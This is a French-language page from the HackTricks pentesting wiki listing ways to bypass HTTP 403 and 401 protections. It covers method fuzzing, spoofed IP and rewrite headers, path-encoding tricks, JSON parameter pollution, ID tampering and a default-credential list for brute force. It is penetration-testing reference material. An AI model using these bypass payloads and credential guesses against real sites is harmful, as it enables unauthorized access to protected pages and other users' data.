403 & 401 Bypasses

Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!

Autres façons de soutenir HackTricks :

Configuration instantanément disponible pour l'évaluation des vulnérabilités et les tests de pénétration. Exécutez un pentest complet de n'importe où avec plus de 20 outils et fonctionnalités allant de la reconnaissance au reporting. Nous ne remplaçons pas les pentesteurs - nous développons des outils personnalisés, des modules de détection et d'exploitation pour leur donner du temps pour creuser plus profondément, ouvrir des shells et s'amuser.

Fuzzing des verbes/méthodes HTTP

Essayez d'utiliser différents verbes pour accéder au fichier : GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK

  • Vérifiez les en-têtes de réponse, peut-être que des informations peuvent être fournies. Par exemple, une réponse 200 à HEAD avec Content-Length: 55 signifie que le verbe HEAD peut accéder aux informations. Mais vous devez toujours trouver un moyen d'extraire ces informations.

  • Utiliser un en-tête HTTP comme X-HTTP-Method-Override: PUT peut écraser le verbe utilisé.

  • Utilisez le verbe TRACE et si vous avez beaucoup de chance, peut-être que dans la réponse vous pouvez également voir les en-têtes ajoutés par les proxies intermédiaires qui pourraient être utiles.

Fuzzing des en-têtes HTTP

  • Changer l'en-tête Host en une valeur arbitraire (qui a fonctionné ici)

  • Essayez d'utiliser d'autres User Agents pour accéder à la ressource.

  • Fuzz des en-têtes HTTP : Essayez d'utiliser des en-têtes de proxy HTTP, une force brute HTTP Authentication Basic et NTLM (avec quelques combinaisons seulement) et d'autres techniques. Pour faire tout cela, j'ai créé l'outil fuzzhttpbypass.

  • X-Originating-IP: 127.0.0.1

  • X-Forwarded-For: 127.0.0.1

  • X-Forwarded: 127.0.0.1

  • Forwarded-For: 127.0.0.1

  • X-Remote-IP: 127.0.0.1

  • X-Remote-Addr: 127.0.0.1

  • X-ProxyUser-Ip: 127.0.0.1

  • X-Original-URL: 127.0.0.1

  • Client-IP: 127.0.0.1

  • True-Client-IP: 127.0.0.1

  • Cluster-Client-IP: 127.0.0.1

  • X-ProxyUser-Ip: 127.0.0.1

  • Host: localhost

Si le chemin est protégé, vous pouvez essayer de contourner la protection du chemin en utilisant ces autres en-têtes :

  • X-Original-URL: /admin/console

  • X-Rewrite-URL: /admin/console

  • Si la page est derrière un proxy, peut-être que c'est le proxy qui vous empêche d'accéder aux informations privées. Essayez d'abuser de l'HTTP Request Smuggling ou des en-têtes hop-by-hop.

  • Fuzz des en-têtes HTTP spéciaux à la recherche de réponses différentes.

  • Fuzz des en-têtes HTTP spéciaux tout en fuzzant les méthodes HTTP.

  • Supprimez l'en-tête Host et peut-être pourrez-vous contourner la protection.

Fuzzing du chemin

Si /chemin est bloqué :

  • Essayez d'utiliser /%2e/chemin _(si l'accès est bloqué par un proxy, cela pourrait contourner la protection). Essayez aussi_** /%252e**/chemin (double encodage d'URL)

  • Essayez le contournement Unicode : /%ef%bc%8fchemin (Les caractères encodés en URL sont comme "/") donc lorsqu'ils sont encodés à nouveau, cela sera //chemin et peut-être que vous aurez déjà contourné la vérification du nom /chemin

  • Autres contournements de chemin :

  • site.com/secret –> HTTP 403 Forbidden

  • site.com/SECRET –> HTTP 200 OK

  • site.com/secret/ –> HTTP 200 OK

  • site.com/secret/. –> HTTP 200 OK

  • site.com//secret// –> HTTP 200 OK

  • site.com/./secret/.. –> HTTP 200 OK

  • site.com/;/secret –> HTTP 200 OK

  • site.com/.;/secret –> HTTP 200 OK

  • site.com//;//secret –> HTTP 200 OK

  • site.com/secret.json –> HTTP 200 OK (ruby)

  • Utilisez toute cette liste dans les situations suivantes :

  • /FUZZsecret

  • /FUZZ/secret

  • /secretFUZZ

  • Autres contournements d'API :

  • /v3/users_data/1234 --> 403 Forbidden

  • /v1/users_data/1234 --> 200 OK

  • {“id”:111} --> 401 Non autorisé

  • {“id”:[111]} --> 200 OK

  • {“id”:111} --> 401 Non autorisé

  • {“id”:{“id”:111}} --> 200 OK

  • {"user_id":"<legit_id>","user_id":"<victims_id>"} (Pollution de paramètres JSON)

  • user_id=ATTACKER_ID&user_id=VICTIM_ID (Pollution de paramètres)

Manipulation de paramètres

  • Changer la valeur du paramètre : De id=123 --> id=124

  • Ajouter des paramètres supplémentaires à l'URL : ?id=124 —-> id=124&isAdmin=true

  • Supprimer les paramètres

  • Réorganiser les paramètres

  • Utiliser des caractères spéciaux.

  • Effectuer des tests de limite dans les paramètres - fournir des valeurs comme -234 ou 0 ou 99999999 (juste quelques exemples de valeurs).

Version du protocole

Si vous utilisez HTTP/1.1 essayez d'utiliser 1.0 ou même testez s'il prend en charge 2.0.

Autres contournements

  • Obtenez l'IP ou le CNAME du domaine et essayez de le contacter directement.

  • Essayez de surcharger le serveur en envoyant des requêtes GET courantes (Cela a fonctionné pour ce gars avec Facebook).

  • Changer le protocole : de http à https, ou de https à http

  • Allez sur https://archive.org/web/ et vérifiez si dans le passé ce fichier était accessible mondialement.

Brute Force

  • Devinez le mot de passe : Testez les identifiants courants suivants. Connaissez-vous quelque chose sur la victime ? Ou le nom du défi CTF ?

  • Brute force: Essayez l'authentification de base, digest et NTLM.

Identifiants courants
admin    admin
admin    password
admin    1234
admin    admin1234
admin    123456
root     toor
test     test
guest    guest

Outils Automatiques

Configuration instantanément disponible pour l'évaluation des vulnérabilités et les tests de pénétration. Lancez un pentest complet de n'importe où avec plus de 20 outils et fonctionnalités allant de la reconnaissance au reporting. Nous ne remplaçons pas les pentesteurs - nous développons des outils personnalisés, des modules de détection et d'exploitation pour leur donner du temps pour creuser plus profondément, ouvrir des shells et s'amuser.

Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!

Autres façons de soutenir HackTricks :

Dernière mise à jour